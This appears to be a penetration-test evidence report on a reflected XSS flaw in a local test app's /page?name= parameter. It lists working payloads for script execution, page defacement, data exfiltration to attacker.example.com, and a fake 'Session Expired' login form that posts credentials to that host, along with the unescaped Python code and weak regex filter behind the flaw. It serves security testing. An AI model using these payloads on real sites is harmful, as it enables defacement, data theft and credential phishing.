# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS in /page?name= Parameter

**Summary:**
- **Vulnerable location:** `http://localhost:34545/page?name=<PAYLOAD>`
- **Overview:** Reflected XSS vulnerability in HTML attribute context allowing complete JavaScript execution, DOM manipulation, data exfiltration, and credential harvesting
- **Impact:** Full client-side compromise - attackers can execute arbitrary JavaScript to deface pages, steal sensitive information, inject phishing forms, and perform unauthorized actions in the victim's browser context
- **Severity:** CRITICAL

**Prerequisites:**
- Network access to `http://localhost:34545` (publicly accessible, no authentication required)
- Modern web browser (Chrome, Firefox, Safari, Edge - all tested successfully)
- No special tools required - exploitation works via simple URL manipulation

**Exploitation Steps:**

**Attack 1: Confirming JavaScript Execution**

1. Navigate to the vulnerable endpoint with a basic XSS payload:
   ```
   http://localhost:34545/page?name=" onfocus="alert(document.domain)" autofocus="
   ```

2. Observe that JavaScript executes automatically on page load due to the `autofocus` attribute
   - The `onfocus` event handler triggers when the input field receives focus
   - An alert dialog appears displaying "localhost", proving JavaScript execution in the page's context

**Attack 2: Complete DOM Manipulation (Defacement)**

1. Navigate to the vulnerable endpoint with a DOM manipulation payload:
   ```
   http://localhost:34545/page?name="><img src=x onerror="document.body.innerHTML='<h1>XSS DEFACEMENT</h1><p>Full page control achieved</p>'">
   ```

2. Observe that the entire page content is replaced with attacker-controlled HTML
   - The payload breaks out of the input tag's `value` attribute using `">`
   - Injects an `<img>` tag with invalid source
   - The `onerror` event handler executes JavaScript that overwrites the entire page body
   - Result: Complete visual defacement demonstrating full DOM control

**Attack 3: Data Exfiltration to Attacker Server**

1. Navigate to the vulnerable endpoint with a data exfiltration payload:
   ```
   http://localhost:34545/page?name="><img src="http://attacker.example.com/steal.jpg?exfil=SENSITIVE_DATA_HERE">
   ```

2. Check browser network logs (Developer Tools > Network tab):
   - Observe a GET request attempted to `http://attacker.example.com/steal.jpg?exfil=SENSITIVE_DATA_HERE`
   - The request fails with `ERR_NAME_NOT_RESOLVED` (expected - attacker.example.com is a demonstration domain)
   - **Critical Point:** The browser DID attempt the request, proving that if attacker.example.com were a real attacker-controlled server, sensitive data would be successfully exfiltrated

**Attack 4: Credential Harvesting via Phishing Form Injection**

1. Navigate to the vulnerable endpoint with a phishing form payload:
   ```
   http://localhost:34545/page?name="><style>body{background:white;text-align:center;padding:50px;}</style><h2>Session Expired</h2><p>Please re-enter your credentials:</p><form action="http://attacker.example.com/phish" method="GET"><input name="user" placeholder="Username"><br><input name="pass" type="password" placeholder="Password"><br><button>Login</button></form><input style="display:none" value="
   ```

2. Observe the injected phishing form:
   - The page displays a convincing "Session Expired" message
   - A login form appears with username and password fields
   - The form is styled to look legitimate
   - If a victim enters credentials and clicks "Login", the credentials would be sent to the attacker's server via the form action URL

3. To demonstrate the credential capture capability, fill in the form:
   - Username: `victim@example.com`
   - Password: `SuperSecret123!`
   - Click the "Login" button
   - Observe that the form attempts to submit to the attacker-controlled endpoint

**Proof of Impact:**

1. **JavaScript Execution Confirmed:** Alert dialog successfully executed displaying "localhost"
   - Evidence: Screenshot captured at `workspace/xss-vuln-01-alert-proof.png`

2. **DOM Manipulation Achieved:** Entire page replaced with attacker-controlled content
   - Evidence: Screenshot captured at `workspace/xss-vuln-01-defacement-proof.png`
   - Impact: Attacker can completely control what victims see, enabling sophisticated social engineering attacks

3. **Data Exfiltration Proven:** Browser network logs confirm outbound request to attacker server
   - Network log entry: `[GET] http://attacker.example.com/steal.jpg?exfil=SENSITIVE_DATA_HERE`
   - Impact: Attackers can steal any client-side data including DOM content, localStorage data, or any information accessible to JavaScript

4. **Credential Harvesting Demonstrated:** Convincing phishing form successfully injected
   - Evidence: Screenshot captured at `workspace/xss-vuln-01-phishing-form.png`
   - Impact: Attackers can harvest user credentials through believable fake login prompts

**Notes:**

**Why This Vulnerability Exists:**
The application uses Python's `.format()` method for string interpolation without HTML encoding:
```python
# app.py line 67
value = 'value="{0}"'.format(msg)
```

User input is reflected directly into an HTML attribute context without proper escaping. The only protection is a trivial regex filter at line 66:
```python
msg = re.sub(r"""["']XSS["']""", "", msg, flags=re.IGNORECASE)
```

This filter only removes the exact strings `"XSS"` or `'XSS'` (case-insensitive), which is trivially bypassed by:
- Not including the string "XSS" in quotes
- Using event handlers like `onfocus`, `onerror`, `onload`
- Breaking out of the attribute context with `">` to inject new tags

**Security Controls Absent:**
- No Content Security Policy (CSP) headers - allows unrestricted inline script execution
- No HTML entity encoding/escaping
- No Web Application Firewall (WAF)
- No rate limiting
- No XSS filters
- No input validation beyond the weak regex

**Real-World Attack Scenarios:**
While this application has no session cookies to steal (no session management implemented), this XSS vulnerability can still be weaponized for:
- **Phishing attacks:** Inject fake login forms to harvest credentials
- **Malware distribution:** Redirect users to malicious downloads
- **Defacement:** Damage reputation by altering page content
- **Information disclosure:** Extract any data visible in the DOM
- **Keylogging:** Capture all user keystrokes on the page
- **CSRF attacks:** Perform unauthorized actions by making requests on behalf of the victim
- **Browser exploitation:** Chain with browser vulnerabilities for system compromise
